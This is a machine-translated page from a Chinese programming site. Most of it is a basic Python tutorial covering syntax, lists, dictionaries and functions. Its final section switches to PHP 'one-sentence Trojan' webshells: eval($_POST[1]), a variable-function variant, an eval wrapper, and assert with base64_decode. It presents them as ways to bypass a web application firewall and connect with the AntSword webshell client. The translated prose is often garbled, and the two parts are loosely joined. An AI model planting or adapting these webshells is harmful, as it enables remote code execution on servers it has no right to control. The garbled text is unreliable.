程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python knowledge points and case recurrence of assert and eval

編輯:Python

Python Knowledge point

Abstract
This article mainly introduces some commonly used python Basic knowledge points , Used to deepen the impression , It can also be regarded as a summary and review of learning the language .python For a detailed introduction to the syntax, you can see the official programming manual , There are also some online websites python Grammar is introduced comprehensively , For example, rookie tutorial :
python3 course | Novice tutorial
In order to focus on knowledge points , There are not many operation examples involved in this article , If you want to learn a language well, you have to code and practice more .
python Language introduction

python It's an interpretive language ,python The design goal of :

① A simple and intuitive language and as powerful as the main competitors
② Open source , So that anyone can contribute to it
③ The code is as easy to understand as pure English
④ Daily tasks for short-term development

The philosophy of design is :

 grace
clear
Simple

python Basic grammar of

identifier

 The first character must be a letter or underscore in the alphabet .
The rest of the identifier consists of the letters 、 Numbers and underscores .
Identifiers are case sensitive .

notes

 type grammar
Single-line comments With # start , Programming specification recommendations # Followed by a space
Multiline comment Use a pair of three consecutive quotation marks , Single quotation marks or double quotation marks ("""/’’’)

Lines and indents

python The obvious difference from other languages is that there are no braces , Instead, indent the code block .
in addition , Each line does not need to end with a semicolon .

Multi line statement

If the statement is long , You can use backslashes () To implement multiline statements
explain : stay [], {}, or () Multiline statements in do not require backslashes

Arithmetic operator

Judging grammar

if else sentence

if and else Used to judge and deal with conditions , The grammar is as follows :

if The conditions to judge :
What to do when the conditions are right

else:
What to do when the conditions don't hold

Logical operators

For the case of judging multiple conditions at the same time, you can use the logical operator , There are three :
Symbol explain grammar
and And , Both are established before returning True Conditions 1 and Conditions 2
or or , As long as one of the two is satisfied, it returns True Conditions 1 or Conditions 2
not Not , Invert the condition not Conditions
elif sentence

elif Statement is used in scenarios where there are multiple conditions for judgment , The grammar is as follows :

if Conditions 1:
Conditions 1 Code to execute when satisfied
elif Conditions 2:
Conditions 2 Code to execute when satisfied
elif Conditions 3:
Conditions 3 Code to execute when satisfied
else:
Code executed when none of the above is satisfied

python Data type introduction

list

list (list) yes python The most frequently used data type in , Arrays similar to other languages
The symbol of the list is brackets [], The syntax of initializing a list is as follows :

program_list = ["c++", "java", "python", "php"]

Tuples

Tuples (tuple) Like a list , The difference is that the data of tuples cannot be modified , The symbol of tuples is parentheses (), The syntax for initializing a tuple is as follows :

program_tuple = ("c++", "java", "python", "php")

Tuples are mainly used for function parameters and return values , Formatted string , And protect list data , Because the data of tuples cannot be modified , Therefore, few methods are provided :

Tuples are in python Can also be used to exchange the values of two variables :

a = 10
b = 9
a, b = (b, a)

Dictionaries

Dictionaries (dict) Usually used to describe information about an object , Using key value pairs to store data , The key must be unique , Because to use hash Algorithm , Only immutable types can be used as keys , The symbol of the dictionary is brace {}, The syntax for initializing a dictionary is as follows :

human_dic = {
"name": "zhangsan",
"age": 26,
"height": 1.75,
"weight": 66}

The common operation functions of the dictionary are as follows :

character string

character string (str) It is also widely used , You can use quotation marks (' or ") To create a string , The syntax of initializing a string is as follows :

testStr = "Wasting time is robbing oneself"

python about str Many practical methods are provided , The following are commonly used :

The method of judging strings :

Modify the string ( Including formatting , toggle case ):

String search and replacement :

Operator

Advanced data types also support the following common operators :

section

Slicing using index values can easily intercept a certain range of data in the container , Applicable to list , Tuples , character string .
The slicing syntax is as follows :
item[N:M:S]
among N Indicates the starting position to intercept ,M Indicates the end position ,S Express step That's the step length , The default is 1, When intercepting [N:M] It's a semi closed interval , Equivalent to mathematically [N,M) Value range , take N No M, N and M All can be omitted .python in ,-1 It can represent the last element , The code of string flipping by slicing is as follows :

>>> test_str = "Hello World"
>>> print(test_str[::-1])

python Function syntax

stay python To define a function in, you need to use def keyword , Compared with other languages , The return value does not need to be declared , The syntax for defining a function is as follows :

def print_hello():
print("Hello, World!")

Default parameters

In addition to the common required parameters ,python Default parameters are supported , That is, specify a default value for the parameter , This parameter can be omitted , The code example is as follows :

def print_human(name, age = 23):
print("body info: name is %s, age is %s" % (name, age) )
print_human("wangwu")
print_human("lisi", 25)

Multivalued parameters

If the number of parameters handled by the function is uncertain , You can use multivalued parameters :

 Add a * Can receive tuples
Add two before the parameter name * Can receive Dictionary

Code examples using these two multivalued parameters are as follows :

def print_info(*args, **kwargs):
print(args)
print(kwargs)
program_list = ["c++", "java", "python", "php"]
human_dic = {
"name": "zhangsan", "age": 26, "height": 1.75, "weight": 66}
print_info(*program_list, **human_dic)

Return multiple values

python Tuples can be used to return multiple values , The codes of multiple return values are as follows :

def measure_rect():
width = 12
height = 6
return width, height
w, h = measure_rect()
print("width is %d, height is %d" % (w, h))

python Common functions

print Output function

python Use print Function to output information to the console , Formatting operators are often used when outputting data , The meanings of different format strings are shown in the following table :

The syntax is as follows :

print(" Formatted string " % Variable 1)
print(" Formatted string " % ( Variable 1, Variable 2...))

print The function will automatically add line breaks at the end of the content by default , If you don't want a new line , It can be used end Parameter specifies what needs to be output
The syntax is as follows :

print("Hello word!", end="")

input Input function

Use input Function to wait for user input from keyboard , The default is a string
The syntax is as follows :

 String variable = input(" Prompt information :")

Type conversion function

Common type conversion functions are as follows :

assert and eval The success and failure of

When we are going to bypass a wef When , We write a code without numbers and letters, which is too long under normal circumstances , It will be detected , So we need to reduce the length , At this time, you can use a sentence, Trojan horse , In a word, the principle of Trojan horse is that it can execute the contents of variables passed up , The variable name is “ In a word, Trojans , for example

<?php
eval($_POST[1]);
?>

After we open the small leather panel , Open Apache , Then open the Chinese ant sword to connect

Next we add a little code :

 <?php
$_POST[1]($_POST[2]);
?>


eval In fact, it is not ‘ function ’, It is PHP Its own language structure , If you need to use ‘ variable ’ Method call , You need to build it yourself , Something like this :

<?php
function eval_1($str)
{

eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>

Next, I changed the coding method to base64 Discovery can also successfully connect

The final summary :
It's because of our eval The argument in the function is the character ,assert The argument in the function is an expression ( Or a function ), such as

assert(eval(‘echo 1;’));// Like this 
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))

We have one more eval function , In essence, we are implementing assert(eval()), So it's executable .
assert(‘adsadasdsadasdasdsa’) It's just strings
assert(eval(base64dddddd)); There are eval function

eval The argument in the function is the character , Such as :
eval('echo 1;');
assert The argument in the function is an expression ( Or a function ), Such as :
assert(phpinfo())

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved